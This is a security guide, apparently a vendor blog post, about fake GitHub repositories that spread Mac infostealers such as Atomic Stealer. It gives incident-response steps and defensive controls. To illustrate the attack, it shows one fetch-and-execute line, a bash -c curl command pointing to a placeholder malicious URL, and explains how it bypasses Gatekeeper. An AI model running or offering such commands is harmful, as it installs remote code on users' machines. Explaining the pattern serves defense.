Fake GitHub Repositories Spread Mac Malware: A 2026 Safety Guide

When your designer searches for "Notion Mac download" or your developer looks for "Docker GitHub install," they expect to find legitimate software. Multiple campaigns have exploited that assumption by placing professional-looking malware distribution pages on GitHub—a platform that, according to its 2025 Octoverse report, hosts 630 million total repositories and is used by more than 180 million developers.

What Happened — and What Changed in 2026

The threat of malware distributed through fake GitHub repositories is not a single event. Three documented campaigns demonstrate that the technique persists and evolves.

September 2025 — Fake GitHub Pages deliver Atomic Stealer. LastPass identified a large-scale campaign using fraudulent GitHub repositories, SEO manipulation, and redirect chains to deliver Atomic Stealer (AMOS) to macOS users. Malwarebytes confirmed that its own brand was impersonated and that sponsored advertisements were sometimes used as an entry point. The investigated chains delivered Atomic Stealer, an infostealer that targets browser credentials, Keychain data, cookies, crypto assets, and selected files. LastPass reported the fraudulent repositories and had them removed.

March 2026 — GhostClaw targets developers through GitHub and AI workflows. Jamf Threat Labs documented a separate campaign using malicious GitHub repositories and npm packages to deliver GhostClaw/GhostLoader, a different macOS credential stealer. Some repositories accumulated hundreds of stars. Jamf also found repositories that initially contained benign or partially functional code and remained unchanged for a period before malicious components were introduced. This supports the continuing Mac/GitHub threat but involved a different payload and delivery mechanism than the 2025 AMOS campaign.

July 2026 — Brand-impersonation repositories deliver BoryptGrab. Arctic Wolf reported at least 292 fake GitHub repositories impersonating trusted software and security vendors. The observed payload was a Windows executable from the BoryptGrab infostealer family—not AMOS for macOS. The campaign demonstrates that the brand-impersonation model persists at scale, but it targeted a different operating system.

Am I Infected? Assessing Your Exposure

Not every interaction with a fraudulent repository results in infection. Your risk depends on what you did.

What to Do Immediately

If you executed a suspicious Terminal command, respond methodically. Exfiltration may have already occurred within seconds of execution, so the priority shifts to limiting what the attacker can do with stolen data.

Isolate the Mac

Disconnect from Wi-Fi and unplug Ethernet. This may stop additional communication or data loss, though some data may have already been transmitted.

Revoke Active Sessions — From a Clean Device

Use a different computer, phone, or tablet for these steps. Do not use the potentially compromised Mac.

1. Revoke sessions first. Force-logout all devices for critical services: Google Workspace, Microsoft 365, banking portals, and cloud platforms. Stolen session cookies can bypass MFA, so session revocation is more urgent than password changes.
2. Reset passwords. Starting with business banking, primary email, and business systems (CRM, accounting, cloud storage). Use unique generated passwords from a password manager.
3. Rotate API keys and tokens. Regenerate API keys, access tokens, and OAuth authorizations for any business integrations accessible from the compromised Mac.
4. Enable phishing-resistant MFA. Where available, enable hardware security keys or passkeys. Standard TOTP or SMS-based MFA still helps against stolen passwords but does not protect against stolen session cookies.

When to Involve Additional Support

• Regulated data (financial, medical, legal): Involve IT, legal/privacy personnel, and cyber-insurance contacts before wiping a device or running cleanup tools. The device may contain evidence needed for compliance or insurance purposes.
• Cryptocurrency exposure: If wallets or seed phrases were accessible on the Mac, follow wallet-specific compromise procedures from a clean device.
• High-assurance recovery: For business-critical machines, erase and re-enroll from a known-good macOS source rather than relying on manual cleanup alone.

Scan the Mac

If endpoint protection is already installed, run a full system scan. If not, download Malwarebytes for Teams on a clean computer and transfer it via USB. A scan can detect and remove known malware files, but it cannot reverse data that was already exfiltrated.

Check for Persistence

Document unfamiliar login items, agents, and extensions before removing them. On a business device—particularly one involving regulated or client data—have IT or an incident-response professional identify them before cleanup.

1. Login Items: System Settings → General → Login Items & Extensions. Note anything unfamiliar or added around the time of suspected infection. (Apple support reference)
2. LaunchAgents and LaunchDaemons: Check ~/Library/LaunchAgents, /Library/LaunchAgents, and /Library/LaunchDaemons for recently added items.
3. Browser extensions: Review extensions in Safari, Chrome, and Firefox. Note anything unrecognized.

How the 2025 Attack Worked

Understanding the mechanism helps identify warning signs. The September 2025 campaign followed a predictable chain that appeared legitimate at each step.

Step 1: The Search

A team member searches for software they need—"Notion Mac download," "Malwarebytes GitHub macOS," or "Docker install Mac." Results include fraudulent GitHub pages appearing alongside or above legitimate results, sometimes via SEO manipulation and sometimes through sponsored advertisements.

Step 2: The Fake Repository

The GitHub page looks professional: the repository name matches the brand, a README includes installation instructions, and a prominent download button or command is displayed. The presentation is designed to match what users expect from a legitimate open-source project.

Step 3: The Terminal Command

Instead of a standard macOS installer, the page presents a command like this simplified equivalent:

/bin/bash -c "$(curl -fsSL [malicious-url]/install.sh)"

The actual campaign used Base64 encoding to obscure the URL. Here is what each flag does:

• curl — downloads content from a URL
• -f — returns a failure status for HTTP 4xx/5xx responses and suppresses the error response body
• -s — suppresses progress output
• -S — shows errors even when -s is set
• -L — follows HTTP redirects
• bash -c — executes whatever was downloaded as a shell script

This delivery method sidesteps parts of browser quarantine and Gatekeeper workflows because the user is explicitly authorizing script execution in Terminal. It does not automatically disable XProtect, System Integrity Protection, or all macOS permission controls—but it does bypass the protections that apply to standard application downloads.

Step 4: The Payload

The investigated LastPass and Malwarebytes chains delivered Atomic Stealer, which targets browser credentials, Keychain data, cookies, cryptocurrency wallet files, and selected documents. Variants differ in their specific modules, but the general capability set includes harvesting stored passwords, session tokens, and locally accessible files.

Confirmed Impersonated Brands

The LastPass IOC list contained roughly 100 fraudulent GitHub paths impersonating dozens of brands. Rather than reproducing the full list, here are verified examples across categories:

• Security tools: Malwarebytes, LastPass, 1Password, SentinelOne
• Financial platforms: Charles Schwab, Citibank, E-TRADE, Fidelity, Robinhood, Webull
• Business software: Notion, Obsidian, Basecamp, Confluence, Freshworks, Zenefits, Shopify
• Creative tools: Adobe After Effects, DaVinci Resolve, Audacity, Reaper
• Development tools: Docker
• Social media management: Hootsuite, Publer, SocialPilot
• Video and streaming: Riverside.fm, StreamYard

The full IOC list is available in the LastPass primary report. Additional brands may have been impersonated in subsequent campaigns—always verify software downloads regardless of brand familiarity.

How to Verify GitHub Software Before Installing

Controls for Business-Managed Macs

Individual awareness matters, but organizational procedures provide consistent protection.

Software Approval

Establish a simple "verify before install" rule: before installing any new software, a team member confirms the source with a designated person who checks the official website. Approved software and download links go into a shared reference list. This does not need to be bureaucratic—most verifications take five minutes.

Endpoint Protection

Real-time endpoint protection can detect or block known infostealers even when a user authorizes execution. Malwarebytes for Teams provides centralized endpoint protection for macOS with up to 20 devices. Organizations with more than 20 endpoints should evaluate ThreatDown, which offers EDR and managed detection capabilities.

Keep macOS updated to maintain current XProtect signatures and Gatekeeper protections. These provide overlapping baseline defenses but should be supplemented with dedicated endpoint protection for business use.

Credential Management

A business password manager ensures every account uses a unique generated password, limiting the impact of any single credential theft. Solutions like 1Password Business or Proton Pass Business encrypt credential vaults with keys the user controls. For a detailed comparison, see our business password manager review.

Do not require periodic password rotation—NIST SP 800-63B explicitly advises against it unless there is evidence of compromise. Instead, use unique generated passwords and change them only in response to a known or suspected breach.

Enable phishing-resistant MFA (hardware keys or passkeys) where available. Standard MFA protects against stolen passwords but does not prevent attackers from reusing stolen session cookies. Combine MFA with the ability to revoke active sessions across critical services.

DNS and Web Filtering

DNS filtering services like Cisco Umbrella or Cloudflare Gateway (part of Cloudflare One) can block connections to known malicious destinations at the network level, intercepting threats before downloads begin. Browser extensions like Malwarebytes Browser Guard add client-side protection against malicious sites and advertisements.

Sources and Reporting Links

Primary campaign research:

• LastPass: Large-Scale Attack Targeting Macs via GitHub Pages — September 2025 campaign disclosure and IOC list
• Malwarebytes: Fake Malwarebytes, LastPass, and Others on GitHub Serve Malware — Independent confirmation and sponsored-ad vector
• Malwarebytes: Atomic Stealer Analysis — AMOS capabilities and variant analysis

2026 campaign research:

• Jamf Threat Labs: GhostClaw/GhostLoader — March 2026 macOS campaign via GitHub and AI workflows
• Arctic Wolf: GitHub Brand-Impersonation Campaign — July 2026 BoryptGrab campaign (292+ repositories, Windows payload)

Platform security references:

• Apple Platform Security: Protecting Against Malware — Gatekeeper, notarization, and XProtect documentation
• GitHub: Verifying or Approving a Domain for Your Organization — What the Verified badge does and does not prove
• GitHub Octoverse 2025 — Platform statistics
• NIST SP 800-63B — Digital identity and password guidance

Reporting a fraudulent repository:

• GitHub: Reporting Abuse or Spam — How to report fake repositories to GitHub
• FBI IC3 — Report cybercrime incidents to federal law enforcement

Related Resources

• Best Cybersecurity Software for Small Business — Tool recommendations
• Best Business Password Managers — Credential security
• Small Business Security Compliance Guide — Security policies
• Small Business Network Security Audit Guide — Quarterly audits
• ClickFix Attacks Guide — Social engineering threats
• Cybersecurity Services — Professional support